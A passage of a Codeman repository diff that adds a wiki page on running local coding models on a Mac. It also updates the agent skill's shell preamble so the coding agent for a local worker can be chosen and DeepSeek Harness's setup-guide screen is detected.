 | [Working With Files](Working-With-Files)   | How do I read, edit, and attach files?                     |
 | [Git Worktrees](Git-Worktrees)             | How do several agents work on one repository without sharing a folder? |
 | [Input And Voice](Input-And-Voice)         | How do I talk to an agent, including by voice?             |

docs/wiki/Local-Models.md

@@ -0,0 +1,115 @@
+# Local Models
+
+Run a coding model on your own Mac, next to the cloud models you already use. Codeman
+installs the model, keeps it running, and lets you start sessions on it or hand it work from
+a cloud session. No account and no API key: the model runs only on that Mac.
+
+This is **experimental**, and it needs a Mac with Apple silicon as the machine the Codeman
+server runs on. On a machine that is not a Mac the button stays hidden.
+
+## Install a model
+
+1. Press **Run a local model** on the welcome screen (or open App Settings > Models > Model
+   on this Mac).
+2. The window shows which models fit this Mac. The bar at the top is the memory the Mac can
+   give a model, filled to what the selected model needs at its peak. A nearly full bar is a
+   tight fit.
+3. Pick a model, and under **Runs with** the coding agent to start it with.
+4. Press **Install on this Mac**. The next screen lists every download with its size and
+   where it goes. Nothing is downloaded before you confirm there.
+5. Codeman downloads a model runtime and the model into `~/.codeman/local-model`, loads the
+   model, checks that all of it runs on the GPU and that it can call a tool, and installs
+   the coding agent if it is missing. No administrator password is asked for.
+6. Press **Start a session**.
+
+You can close the window while it downloads. **Cancel** pauses the install and **Continue**
+picks it up where it stopped. After a Codeman restart an unfinished install waits for your
+click.
+
+## Pick the coding agent
+
+A model is driven by a coding agent: the program that reads your prompt, calls tools and
+edits files. You choose it **per session**. Open the window again and look at **Start a
+session with**: one chip per agent the model can be run with.
+
+| Agent            | Pick it when                                                                                   |
+| ---------------- | ---------------------------------------------------------------------------------------------- |
+| OpenCode         | You have no reason to choose. It is the pair Codeman was tested with on a Mac                  |
+| Pi               | You want the first answer soon. Its fixed prompt is the smallest by far, which also leaves the most room for your work |
+| Claude Code      | You want Claude Code's own tools and habits. Its first answer on a local model takes minutes  |
+| DeepSeek Harness | You already use it and have it set up                                                          |
+
+Select a chip and press **Start a session**. The choice is remembered on that device.
+
+**A chip that says "Not installed"** is an agent Codeman can install for you. Select it: the
+window shows the exact command it would run, and the main button becomes **Install** with
+the agent's name. The model stays ready while the installer runs, and you can start a
+session with another agent meanwhile. If the install fails, the window says so under the
+chip and nothing else changes.
+
+**A chip that says "Needs setup"** is an agent that needs more than one command. DeepSeek
+Harness is the one today: set it up from the **Run** menu first, then it can be started
+here. A new DeepSeek Harness also opens its own setup guide in every session until you have
+finished it once.
+
+## More than one model
+
+Once a model is installed, the window lists **Models on this Mac** with what each takes on
+disk, and the total under the list.
+
+- **Add a model** opens the list of models again and downloads another one. When it is
+  ready it becomes the model in use; the earlier one stays on the Mac.
+- **Use** switches to a model that is already there. Nothing is downloaded: Codeman loads it
+  and checks it again.
+- **Delete** removes one model, after one question that says how much space it frees.
+
+One model runs at a time. Adding and switching are refused while sessions still use the
+current model: close those sessions first. The model in use cannot be deleted: switch first,
+or use **Remove**, which takes the runtime and the connection away (and the downloaded
+models too, if you tick that).
+
+## Cloud and local together
+
+The reason to keep a local model next to a cloud one: the cloud model plans and reviews, the
+Mac does the bulk. From a Claude Code session in Codeman, with the
+[Codeman skill](Codeman-Skill) (on by default), you can just say it:
+
+| You say                                                                                 | What happens                                                                                           |
+| --------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------ |
+| "Is there a local model on this Mac?"                                                    | It reads what is installed, which agents can run it and which models are on the Mac. Read-only          |
+| "Use the local model to summarize every file in `docs/`, then check its summaries."      | A worker on the local model does the reading; the cloud session reads its answer back and reviews it   |
+| "Spawn a local worker with Pi to draft tests for `src/parser.ts`."                       | The worker runs the local model through Pi                                                             |
+| "Start two cloud workers for the API and the UI, and a local one for the changelog."     | One mixed fleet: cloud workers side by side, the Mac as a queue                                        |
+
+The worker sessions appear as tabs in the dashboard and are closed when the work is done.
+
+Good to know before you rely on it:
+
+- **One request at a time.** The local model answers one request at a time, so two local
+  workers take turns. Fan out to the cloud, and give the Mac a queue.
+- **Slower than a cloud model**, and the first request after a start loads the model first.
+- **Review what comes back.** A local model is good at bulk work and weaker at judgment.
+  Treat its answer as a first draft.
+- **The skill never installs anything.** A model or an agent that is missing is yours to
+  install in the window; the skill tells you what is missing and stops.
+- **While a local worker is open**, the window refuses Stop, Remove and a switch of models,
+  and names the sessions that are in the way.
+
+## Good to know
+
+- **What was tested.** One pair was run on a real Mac: OpenCode with Qwen3.6 35B-A3B on an
+  M5 Pro with 48 GB. The window marks that pair on a Mac like it. Everything else in the
+  list is calculated from each model's own figures, and the install checks the model on your
+  Mac before it lets you start a session.
+- **Memory first.** A model that does not fit in memory is not offered. An estimate becomes
+  a measurement the first time the runtime starts, and the model is judged against that
+  before it is downloaded.
+- **The developer tools.** Coding agents use git and Python. On a Mac without them, macOS
+  offers to install them the first time an agent needs one.
+- **Stop** keeps the runtime from starting with Codeman next time. **Start** undoes that.
+- **In multi-user mode** only an admin sees and uses this.
+
+More detail: [A model that runs on this Mac](Custom-Model-Endpoints#a-model-that-runs-on-this-mac)
+for how it relates to your own model servers, and
+[`docs/local-models.md`](https://github.com/Ark0N/Codeman/blob/master/docs/local-models.md)
+for how it works inside.

docs/wiki/_Sidebar.md

@@ -14,6 +14,7 @@
 - [Tile Grid](Tile-Grid)
 - [Agent CLIs](Agent-CLIs)
 - [Custom Model Endpoints](Custom-Model-Endpoints)
+- [Local Models](Local-Models)
 - [Working With Files](Working-With-Files)
 - [Git Worktrees](Git-Worktrees)
 - [Input And Voice](Input-And-Voice)

plugins/codeman/skills/codeman/SKILL.md

@@ -107,7 +107,7 @@ later call opens with, and your first REAL call performs them anyway:
 
 ```bash
 . "${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" 2>/dev/null
-[ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
+[ "${CODEMAN_PREAMBLE:-}" = 1.51.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
 ```
 
 ⚠️ **Never spend a Bash call on this check alone.** §1's block opens with this same
@@ -135,8 +135,8 @@ PRE="${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh"
 mkdir -p "$(dirname "$PRE")"
 # Rewrite unless the file already ends with THIS version's stamp, so a stale or a
 # half-written file self-heals here instead of costing you a round trip to rm it.
-grep -qs '^CODEMAN_PREAMBLE=1.50.0$' "$PRE" || (umask 077; cat > "$PRE" <<'PREAMBLE'
-# ---- Codeman agent preamble 1.50.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ----
+grep -qs '^CODEMAN_PREAMBLE=1.51.0$' "$PRE" || (umask 077; cat > "$PRE" <<'PREAMBLE'
+# ---- Codeman agent preamble 1.51.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ----
 # Positional parameters are always written with braces, ${1} and never a bare dollar-digit: Claude Code
 # replaces a bare one in a skill body with the matching word of the skill's arguments, and §0 is pasted
 # from that body (test/agent-skill.test.ts pins it).
@@ -197,6 +197,17 @@ _dsh_up() {        # <sid> <timeoutMs> -> "true"/"false". The DeepSeek Harness T
   # composer glyph. Override with DSH_READY_MARK for a profile that draws another one.
   _mark_up "${1}" "${DSH_READY_MARK:-❯}" "${2}"
 }
+_dsh_guide() {     # <sid> -> 0 when the pane shows dsh-TUI's first-run SETUP GUIDE, not a composer.
+  # dsh-TUI 0.19.0 opens a guide ("Welcome to dsh-TUI  Step 1 of 4") in every session until a
+  # person has finished it once, and the guide's own cursor is `❯`: the readiness mark matches
+  # on it (measured, 2 of 2 launches), and an Enter there acts on the highlighted step, which
+  # is a sign-in. So a worker whose mark matched is still checked for the guide, on the
+  # RENDERED pane with its whitespace removed, and never handed back while it shows.
+  "${CURL[@]}" -G "$API/api/v1/sessions/${1}/terminal" --data-urlencode 'full=1' \
+    | jq -r '.data.terminalBuffer // empty' \
+    | sed -e "s/$(printf '\033')\[[0-9;?]*[a-zA-Z]//g" -e "s/$(printf '\033')[()][AB0]//g" \
+    | tr -d ' \t' | grep -qi 'Step[0-9]of[0-9]'
+}
 # ---- the workspace-trust dialog: READ the screen, never press Enter blind ----
 # Claude Code 2.1.252 dropped the option numbers, REVERSED them, and highlights
 # "No, exit" by default:
@@ -259,9 +270,18 @@ _accept_trust() {  # <sid> -> 0 once it has answered the dialog, 1 if it could n
 # local_model -> ONE compact JSON object on stdout. rc 0 only when a `local` worker can be
 # spawned now (`running:true`) or once spawn_worker has started the runtime (`running:false`):
 #   {"spawnable":true,"state":"installed","running":true,"cli":"opencode","cliLabel":"OpenCode",
-#    "endpointId":"local-ollama","modelId":"<id>","modelLabel":"<label>"}
+#    "endpointId":"local-ollama","modelId":"<id>","modelLabel":"<label>",
+#    "agents":[{"cli":"opencode","cliLabel":"OpenCode","status":"ready","default":true,"readyMark":"┃"},
+#              {"cli":"pi","cliLabel":"Pi","status":"installable","default":false}],
+#    "models":[{"id":"<id>","label":"<label>","active":true,"status":"ready","sizeGb":"23.1"}]}
+# `cli` is the DEFAULT coding agent, the one `spawn_worker <name> local` starts. `agents` is
+# every agent the model can be run with: `local:<cli>` starts one whose status is `ready`
+# (`installable`, `installing` and `setup-needed` are a person's to resolve in the window).
+# `models` is what is on this Mac; only the `active` one runs, and switching is a person's
+# decision too. A Codeman older than 1.51 sends neither list: only `local` works there.
 # Otherwise rc 1 and {"spawnable":false,"reason":"<reason>","message":"<why>",...}, the reason
-# one of: not-mac, not-installed, install-unfinished, blocked (installed, but the server
+# one of: not-mac, not-installed, install-unfinished, no-agent (installed, but no coding agent
+# that can run the model is on this Mac), blocked (installed, but the server
 # refuses a session now: the model changed on disk, another program holds the port, the
 # runtime does not start), admin-only (multi-user mode, 403), unsupported (a Codeman without
 # local models, 404), unauthorized (401, §6), unreachable, error.
@@ -277,12 +297,23 @@ local_model() {
         | reduce ((.vars // {}) | to_entries[]) as $e ($t; gsub("\\{" + $e.key + "\\}"; $e.value));
       .data as $d | ($d.install // {}) as $i | ($i.actions // []) as $a
       | {state:$i.state, running:($i.running == true), cli:$i.cli, cliLabel:$i.cliLabel,
-         endpointId:$i.endpointId, modelId:$i.model.id, modelLabel:$i.model.label} as $base
+         endpointId:$i.endpointId, modelId:$i.model.id, modelLabel:$i.model.label,
+         agents:(if ($i.harnesses | type) == "array"
+                 then [$i.harnesses[] | {cli, cliLabel, status, default, readyMark} | with_entries(select(.value != null))]
+                 else null end),
+         models:(if ($i.library | type) == "array" and ($i.library | length) > 0
+                 then [$i.library[] | {id, label, active, status, sizeGb} | with_entries(select(.value != null))]
+                 else null end)} as $base
       | if ($d | type) != "object" then {spawnable:false, reason:"error", message:"no data in the answer"}
         elif $i.state == "installed" then
+          # With the agents listed and none of them startable there is nothing to spawn,
+          # running or not: say that, not "blocked".
+          if $i.error == null and $base.agents != null and ([$base.agents[] | select(.status == "ready")] | length) == 0
+          then {spawnable:false, reason:"no-agent",
+                message:"The model is installed, but no coding agent that can run it is on this Mac. A person installs one in the Run a local model window."} + $base
           # `start` alone over-promises: it is offered too while another program holds the
           # port. Only an error-free start is a runtime spawn_worker can bring up.
-          if ($i.cli and $i.endpointId and $i.model.id)
+          elif ($i.cli and $i.endpointId and $i.model.id)
              and (($a | index("start-session")) != null or (($a | index("start")) != null and $i.error == null))
           then {spawnable:true} + $base
           else {spawnable:false, reason:"blocked", errorCode:$i.error.code,
@@ -345,31 +376,55 @@ _local_ready_model() {
 # rather than handed back, because a worker that never drew its composer would eat the
 # task prompt with its trust dialog. There is deliberately no pid poll: wait-output
 # already blocks until the composer draws, and pid!=null proved startup, never readiness.
-# mode `local` is the model Codeman installed on this Mac (local_model), run by the coding
-# agent it was installed with. The worker's mode becomes that agent, and the endpoint and
-# model ride the quick-start as `customModel`: the launch the window's "Start a session"
-# makes. A stopped runtime is started first. Any answer that wants a person to confirm
-# something (a context below the agent's safe floor, a model swap) fails the spawn: this
-# never confirms on anyone's behalf.
+# mode `local` is the model Codeman installed on this Mac (local_model), run by its default
+# coding agent; `local:<cli>` (`local:pi`, `local:deepseek`, `local:opencode`, `local:claude`)
+# picks another one of local_model's `agents`, which must be `ready`. The worker's mode
+# becomes that agent, and the endpoint and model ride the quick-start as `customModel`: the
+# launch the window's "Start a session" makes. A stopped runtime is started first. Any answer
+# that wants a person to confirm something (a context below the agent's safe floor, a model
+# swap) fails the spawn: this never confirms on anyone's behalf, and it never installs an
+# agent. All local workers share ONE model that answers one request at a time.
 # CODEMAN_WORKER_ADVISOR=opus (or fable / sonnet) gives every CLAUDE worker spawned while
 # it is set Claude Code's advisor tool: a stronger model the worker consults before
 # committing to an approach, on a recurring error and before declaring the task done.
 # Other modes ignore it. A value the server refuses fails the spawn (INVALID_INPUT); an
 # advisor that ranks below the worker's model is accepted but never attached by claude.
 spawn_worker() {
-  local name="${1:?spawn_worker needs a case name}" mode="${2:-claude}" q sid cp r lm cm='' mark=''
+  local name="${1:?spawn_worker needs a case name}" mode="${2:-claude}" q sid cp r lm cm='' mark='' want=''
+  case "$mode" in local:*) want=${mode#local:}; mode=local ;; esac
   if [ "$mode" = local ]; then
     lm=$(_local_ready_model) || return 1
-    mode=$(jq -r .cli <<<"$lm")
+    if [ -n "$want" ]; then
+      # Only an agent the server lists as startable. A Codeman that lists none (older than
+      # 1.51) knows one agent, its `cli`: naming that one is fine, any other is not.
+      r=$(jq -r --arg w "$want" 'if (.agents | type) == "array" then ([.agents[] | select(.cli == $w) | .status][0] // "absent")
+                                 elif .cli == $w then "ready" else "unlisted" end' <<<"$lm")
+      case "$r" in
+        ready) ;;
+        unlisted) echo "this Codeman lists one coding agent for the local model, $(jq -r .cli <<<"$lm"): use plain \`local\`, or update Codeman to choose another" >&2; return 1 ;;
+        absent) echo "the local model cannot be run with '$want' here. Startable: $(jq -r '[.agents[] | select(.status == "ready") | .cli] | join(", ")' <<<"$lm")" >&2; return 1 ;;
+        *) echo "the coding agent '$want' is not startable on this Mac ($r): a person installs or sets it up in the Run a local model window. Startable now: $(jq -r '[.agents[] | select(.status == "ready") | .cli] | join(", ")' <<<"$lm")" >&2; return 1 ;;
+      esac
+      mode=$want
+    else
+      mode=$(jq -r .cli <<<"$lm")
+    fi
     cm=$(jq -c '{endpointId, modelId}' <<<"$lm")
-    # Readiness is a token the agent's composer draws. The registry's composer data never
-    # reaches the API, so it is named per agent here. opencode: `┃`, its `workDetect.promptGlyph`.
-    # That field is no readiness mark in general (the registry keeps `composerReadyMark` for
-    # that, and declares none for opencode), but at boot only the composer draws it: measured
-    # on opencode 1.3.0 on Linux, fresh home, custom provider, the first `┃` came with the composer,
-    # and a prompt pasted with its Enter at that moment was submitted. claude takes the claude
-    # path below. Any other agent needs LOCAL_READY_MARK rather than a worker handed back on a guess.
-    [ "$mode" = opencode ] && mark='┃'
+    # Readiness is a token the agent's composer draws once it takes input. The server names
+    # the measured one per agent (`readyMark`: opencode `┃`, deepseek `❯`, claude `shift+tab`).
+    # For a server that sends none, the two this skill measured itself:
+    #  - opencode `┃`: at boot only the composer draws it (1.3.0 and 1.19.5, a prompt pasted
+    #    at the mark was submitted every time).
+    #  - pi `extended-keys`: pi paints its composer rules in its FIRST frame and ignores Enter
+    #    until startup has finished, so its rule is no mark (a prompt sent at it stayed
+    #    unsent, 2 of 2). The last line of its startup is a warning that tmux's
+    #    `extended-keys` option is off, which it is on Codeman's socket: a prompt sent once
+    #    that word showed was submitted, 4 of 4 on pi 1.5.2. It is a side effect, not a
+    #    contract, so a pi that stops printing it fails the spawn (the worker is deleted, never
+    #    handed back on a guess) until LOCAL_READY_MARK names what it draws instead.
+    # claude takes the claude path below.
+    mark=$(jq -r --arg m "$mode" '[(.agents // [])[] | select(.cli == $m) | .readyMark // empty][0] // empty' <<<"$lm")
+    [ -n "$mark" ] || case "$mode" in opencode) mark='┃' ;; pi) mark='extended-keys' ;; esac
     mark=${LOCAL_READY_MARK:-$mark}
     [ "$mode" = claude ] || [ -n "$mark" ] || {
       echo "the local model runs through $mode, and this skill knows no composer mark for it: set LOCAL_READY_MARK to a space-free token its composer draws" >&2
@@ -384,11 +439,16 @@ spawn_worker() {
   # server clamps this back to `workspace-write` for an owner without the grant.
   # Spawn by hand (§5.1) when you want a worker that asks. The advisor is a cloud model,
   # so a claude worker on the local model never gets one.
+  # pi on the local model: a custom model session gives pi a home of its own, so it would
+  # ask "Trust project folder?" in EVERY session whose parent folders hold agent skills, with
+  # Trust preselected, and the task prompt's Enter would answer it. `approveProjectTrust:
+  # false` starts it with --no-approve: no dialog, and no project code is trusted for anyone.
   q=$("${CURL[@]}" -X POST "$API/api/v1/quick-start" -H 'Content-Type: application/json' \
       -d "$(jq -nc --arg n "$name" --arg m "$mode" --arg p "$SELF" --arg a "${CODEMAN_WORKER_ADVISOR:-}" --arg cm "$cm" \
         '{caseName:$n,mode:$m,parentSessionId:$p}
          + (if $m == "deepseek" then {deepSeekConfig:{permissionMode:"danger-full-access"}} else {} end)
          + (if $m == "claude" and $a != "" and $cm == "" then {advisorModel:$a} else {} end)
+         + (if $m == "pi" and $cm != "" then {piConfig:{approveProjectTrust:false}} else {} end)
          + (if $cm != "" then {customModel:($cm | fromjson)} else {} end)')")
   # The answers that want a PERSON to decide come back as success with no session id.
   if jq -e '(.data // .) | (.requiresContextWarning or .requiresConfirmation)' <<<"$q" >/dev/null 2>&1; then
@@ -405,11 +465,18 @@ spawn_worker() {
     echo "worker $sid: this Codeman server ignored CODEMAN_WORKER_ADVISOR (no advisor support); it runs without one" >&2
   fi
   if [ -n "$cm" ] && [ "$mode" != claude ]; then
-    # No trust dialog and no hook file to vet: the agent has no hooks, which is exactly
-    # why sendwait refuses it (400) and sendmark drives it.
+    # No trust dialog and no hook file to vet. opencode and pi have no end-of-turn signal,
+    # which is exactly why sendwait refuses them (400) and sendmark drives them. A deepseek
+    # worker reports the end of a turn on the local model too, but sendmark is still the way
+    # to get its ANSWER: dsh 0.2.2 renamed its transcript file, and until Codeman reads the
+    # new one `last-response` comes back empty for it.
     r=$(_mark_up "$sid" "$mark" 45000)
     [ "$r" = true ] || { echo "local worker $sid ($mode) never drew '$mark' within 45 s; deleted it. Look at GET /api/v1/local-model and the pane of a hand-made session before retrying" >&2
       delete_session "$sid" >/dev/null; return 1; }
+    if [ "$mode" = deepseek ] && _dsh_guide "$sid"; then
+      echo "dsh worker $sid opened DeepSeek Harness's setup guide instead of a composer; deleted it. A person finishes that guide once (start a DeepSeek session from the Run menu), then spawn again" >&2
+      delete_session "$sid" >/dev/null; return 1
+    fi
     printf '%s\n' "$sid"; return 0
   fi
   if [ "$mode" = deepseek ]; then
@@ -425,6 +492,10 @@ spawn_worker() {
     r=$(_dsh_up "$sid" 45000)
     [ "$r" = true ] || { echo "dsh worker $sid never drew a composer: no pane-capable profile, a profile whose composer is not '${DSH_READY_MARK:-❯}' (set DSH_READY_MARK), or a harness that failed to boot -- check GET /api/v1/deepseek/status. Deleted it" >&2
       delete_session "$sid" >/dev/null; return 1; }
+    if _dsh_guide "$sid"; then
+      echo "dsh worker $sid opened DeepSeek Harness's setup guide instead of a composer; deleted it. A person finishes that guide once (start a DeepSeek session from the Run menu), then spawn again" >&2
+      delete_session "$sid" >/dev/null; return 1
+    fi
     printf '%s\n' "$sid"; return 0
   fi
   [ "$mode" = claude ] || { printf '%s\n' "$sid"; return 0; }   # no other mode draws a composer to wait on
@@ -683,10 +754,10 @@ last_text() {
 # The stamp is the LAST line on purpose (a truncated write leaves it unset) and is kept
 # bare on purpose: the write condition above anchors on it with $, so an inline comment
 # here would fail that match and rewrite this file on every single bootstrap.
-CODEMAN_PREAMBLE=1.50.0
+CODEMAN_PREAMBLE=1.51.0
 PREAMBLE
 )
-. "$PRE"; [ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble at $PRE is stale or truncated: rm it and re-run this block"; exit 1; }
+. "$PRE"; [ "${CODEMAN_PREAMBLE:-}" = 1.51.0 ] || { echo "preamble at $PRE is stale or truncated: rm it and re-run this block"; exit 1; }
 ```
 
 Every later Bash call that touches the API starts with the same two loader lines from
@@ -737,7 +808,7 @@ and no per-call body to hand-build.
 
 ```bash
 . "${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" 2>/dev/null   # §0 loader
-[ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
+[ "${CODEMAN_PREAMBLE:-}" = 1.51.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
 N=(alpha beta)                    # INVENT one fresh case name per worker; never list cases first
                                   # (a name may carry a mode: `beta:deepseek`, see below)
 T=('reply with one line: the absolute path of your working directory'
@@ -850,9 +921,25 @@ Three things to know before you spawn one:
 When Codeman has installed a model on the Mac it runs on (the **Run a local model** button
 on its welcome screen), you can hand work to that model from here. You stay the planner and
 the reviewer in the cloud; the Mac does the bulk. `spawn_worker <name> local` starts a worker
-on the installed model, run by the coding agent it was installed with (OpenCode on the Mac
-it was tested on), and from then on it is the same verbs. It mixes into one fleet like any
-other mode: `spawn_workers plan review:deepseek summ:local`.
+on the installed model, run by its default coding agent (OpenCode on the Mac it was tested
+on), and from then on it is the same verbs. It mixes into one fleet like any other mode:
+`spawn_workers plan review:deepseek summ:local`.
+
+**Which coding agent runs the worker is yours to choose.** `local_model` lists them as
+`agents`, each with a `status`; `spawn_worker <name> local:<cli>` starts one that is `ready`:
+
+| Worker kind | Agent | Why you would pick it | Drive it with |
+| --- | --- | --- | --- |
+| `local` | the default one (`cli` of `local_model`) | you have no reason to choose | `sendmark` (`sendwait` when it is claude) |
+| `local:opencode` | OpenCode | the tested pair; a full tool set | `sendmark` |
+| `local:pi` | Pi | the smallest fixed prompt (about 2,100 tokens against 8,000 and more), so the first answer comes soonest and the most context is left for the work | `sendmark` |
+| `local:deepseek` | DeepSeek Harness | the user already works with it | `sendmark` (it reports the end of a turn, but on dsh 0.2.2 its answer cannot be read back through `sendwait` yet) |
+| `local:claude` | Claude Code | hooks and `sendwait`, at the price of a first answer that takes minutes | `sendwait` |
+
+An agent whose status is `installable`, `installing` or `setup-needed` is not startable, and
+the spawn says so with the ones that are. Installing an agent is a person's click in the
+**Run a local model** window, like installing a model: tell the user, do not work around it.
+A Codeman older than 1.51 lists no agents, and only plain `local` works there.
 
 Reach for it when:
 
@@ -866,9 +953,9 @@ Reach for it when:
 
 ```bash
 . "${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" 2>/dev/null   # §0 loader
-[ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
-local_model || exit 1      # one JSON line: model, agent, endpoint; or the reason there is none
-SID=$(spawn_worker summ local) || exit 1      # starts a stopped runtime first; empty = failed
+[ "${CODEMAN_PREAMBLE:-}" = 1.51.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
+local_model || exit 1      # one JSON line: model, agents, endpoint; or the reason there is none
+SID=$(spawn_worker summ local) || exit 1      # or local:pi, local:deepseek; starts a stopped runtime first; empty = failed
 WD=$("${CURL[@]}" "$API/api/v1/sessions/$SID" | jq -r .data.workingDir)
 mkdir -p "$WD/input" && cp ./docs/*.md "$WD/input/"   # inside its own folder (§5.9), apart from its CLAUDE.md
 R=$(sendmark "$SID" 'Summarize each .md file in the folder input, two lines each' 900); RC=$?
@@ -891,8 +978,9 @@ The limits, before you promise the user anything:
 - **A Mac with Apple silicon, and a model a person installed** in Codeman's local model
   window. This skill never installs one: that is a download of many gigabytes the person
   confirms there. `local_model` says what is missing (`not-mac`, `not-installed`,
-  `install-unfinished`, `blocked`, `admin-only`, `unsupported`), so tell the user that
-  instead of guessing.
+  `install-unfinished`, `no-agent`, `blocked`, `admin-only`, `unsupported`), so tell the
+  user that instead of guessing. It also lists the models on this Mac (`models`); only the
+  `active` one runs, and switching to another is a person's decision in the window.
 - **One model, one request at a time.** The runtime loads one model and answers one request
   at a time, so two local workers take turns rather than work side by side. Fan out to the
   cloud; give the Mac a queue.
@@ -900,9 +988,20 @@ The limits, before you promise the user anything:
   M5 Pro with 48 GB, ran at about 68 tokens a second, and the first request after a start
   loads the model first. A local worker run by claude spends minutes on its first answer
   (its fixed prompt is about 36,000 tokens).
-- **Markers, not hooks.** OpenCode reports no end of turn, so `sendwait` answers 400 for
-  that worker; `sendmark` is the way through. If the installed agent is claude, the worker
-  has hooks and `sendwait` works as for any claude worker.
+- **Markers, not hooks.** OpenCode and Pi report no end of turn, so `sendwait` answers 400
+  for those workers; `sendmark` is the way through. A claude worker has hooks, so
+  `sendwait` works for it. A DeepSeek Harness worker reports its turns too, but drive it
+  with `sendmark` on the local model: dsh 0.2.2 renamed its transcript file, and Codeman
+  reads an empty answer from it for now.
+- **DeepSeek Harness has a setup guide a person finishes once.** Until then every dsh
+  session opens on it, and the spawn refuses the worker (and deletes it) instead of typing
+  a task into a sign-in screen. Tell the user to start one DeepSeek session from the Run
+  menu and finish the guide.
+- **Pi starts without trusting the folder.** A `local:pi` worker is started with
+  `--no-approve`, so it loads no project extensions or skills from the case folder: on the
+  local model Pi would otherwise ask to trust the folder in every session, and a task
+  prompt must never answer that question. Pi also fetches its two search tools at each such
+  start, which needs the network for a moment.
 - **Spawning can change what the person set.** A stopped runtime is started, which also
   undoes the person's Stop: it then starts with Codeman again. And while a local worker is
   open, the window refuses Stop and Remove and names your workers, so delete them as soon

plugins/codeman/skills/codeman/preamble.sh

@@ -1,4 +1,4 @@
-# ---- Codeman agent preamble 1.50.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ----
+# ---- Codeman agent preamble 1.51.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ----
 # Positional parameters are always written with braces, ${1} and never a bare dollar-digit: Claude Code
 # replaces a bare one in a skill body with the matching word of the skill's arguments, and §0 is pasted
 # from that body (test/agent-skill.test.ts pins it).
@@ -59,6 +59,17 @@ _dsh_up() {        # <sid> <timeoutMs> -> "true"/"false". The DeepSeek Harness T
   # composer glyph. Override with DSH_READY_MARK for a profile that draws another one.
   _mark_up "${1}" "${DSH_READY_MARK:-❯}" "${2}"
 }
+_dsh_guide() {     # <sid> -> 0 when the pane shows dsh-TUI's first-run SETUP GUIDE, not a composer.
+  # dsh-TUI 0.19.0 opens a guide ("Welcome to dsh-TUI  Step 1 of 4") in every session until a
+  # person has finished it once, and the guide's own cursor is `❯`: the readiness mark matches
+  # on it (measured, 2 of 2 launches), and an Enter there acts on the highlighted step, which
+  # is a sign-in. So a worker whose mark matched is still checked for the guide, on the
+  # RENDERED pane with its whitespace removed, and never handed back while it shows.
+  "${CURL[@]}" -G "$API/api/v1/sessions/${1}/terminal" --data-urlencode 'full=1' \
+    | jq -r '.data.terminalBuffer // empty' \
+    | sed -e "s/$(printf '\033')\[[0-9;?]*[a-zA-Z]//g" -e "s/$(printf '\033')[()][AB0]//g" \
+    | tr -d ' \t' | grep -qi 'Step[0-9]of[0-9]'
+}
 # ---- the workspace-trust dialog: READ the screen, never press Enter blind ----
 # Claude Code 2.1.252 dropped the option numbers, REVERSED them, and highlights
 # "No, exit" by default:
@@ -121,9 +132,18 @@ _accept_trust() {  # <sid> -> 0 once it has answered the dialog, 1 if it could n
 # local_model -> ONE compact JSON object on stdout. rc 0 only when a `local` worker can be
 # spawned now (`running:true`) or once spawn_worker has started the runtime (`running:false`):
 #   {"spawnable":true,"state":"installed","running":true,"cli":"opencode","cliLabel":"OpenCode",
-#    "endpointId":"local-ollama","modelId":"<id>","modelLabel":"<label>"}
+#    "endpointId":"local-ollama","modelId":"<id>","modelLabel":"<label>",
+#    "agents":[{"cli":"opencode","cliLabel":"OpenCode","status":"ready","default":true,"readyMark":"┃"},
+#              {"cli":"pi","cliLabel":"Pi","status":"installable","default":false}],
+#    "models":[{"id":"<id>","label":"<label>","active":true,"status":"ready","sizeGb":"23.1"}]}
+# `cli` is the DEFAULT coding agent, the one `spawn_worker <name> local` starts. `agents` is
+# every agent the model can be run with: `local:<cli>` starts one whose status is `ready`
+# (`installable`, `installing` and `setup-needed` are a person's to resolve in the window).
+# `models` is what is on this Mac; only the `active` one runs, and switching is a person's
+# decision too. A Codeman older than 1.51 sends neither list: only `local` works there.
 # Otherwise rc 1 and {"spawnable":false,"reason":"<reason>","message":"<why>",...}, the reason
-# one of: not-mac, not-installed, install-unfinished, blocked (installed, but the server
+# one of: not-mac, not-installed, install-unfinished, no-agent (installed, but no coding agent
+# that can run the model is on this Mac), blocked (installed, but the server
 # refuses a session now: the model changed on disk, another program holds the port, the
 # runtime does not start), admin-only (multi-user mode, 403), unsupported (a Codeman without
 # local models, 404), unauthorized (401, §6), unreachable, error.
@@ -139,12 +159,23 @@ local_model() {
         | reduce ((.vars // {}) | to_entries[]) as $e ($t; gsub("\\{" + $e.key + "\\}"; $e.value));
       .data as $d | ($d.install // {}) as $i | ($i.actions // []) as $a
       | {state:$i.state, running:($i.running == true), cli:$i.cli, cliLabel:$i.cliLabel,
-         endpointId:$i.endpointId, modelId:$i.model.id, modelLabel:$i.model.label} as $base
+         endpointId:$i.endpointId, modelId:$i.model.id, modelLabel:$i.model.label,
+         agents:(if ($i.harnesses | type) == "array"
+                 then [$i.harnesses[] | {cli, cliLabel, status, default, readyMark} | with_entries(select(.value != null))]
+                 else null end),
+         models:(if ($i.library | type) == "array" and ($i.library | length) > 0
+                 then [$i.library[] | {id, label, active, status, sizeGb} | with_entries(select(.value != null))]
+                 else null end)} as $base
       | if ($d | type) != "object" then {spawnable:false, reason:"error", message:"no data in the answer"}
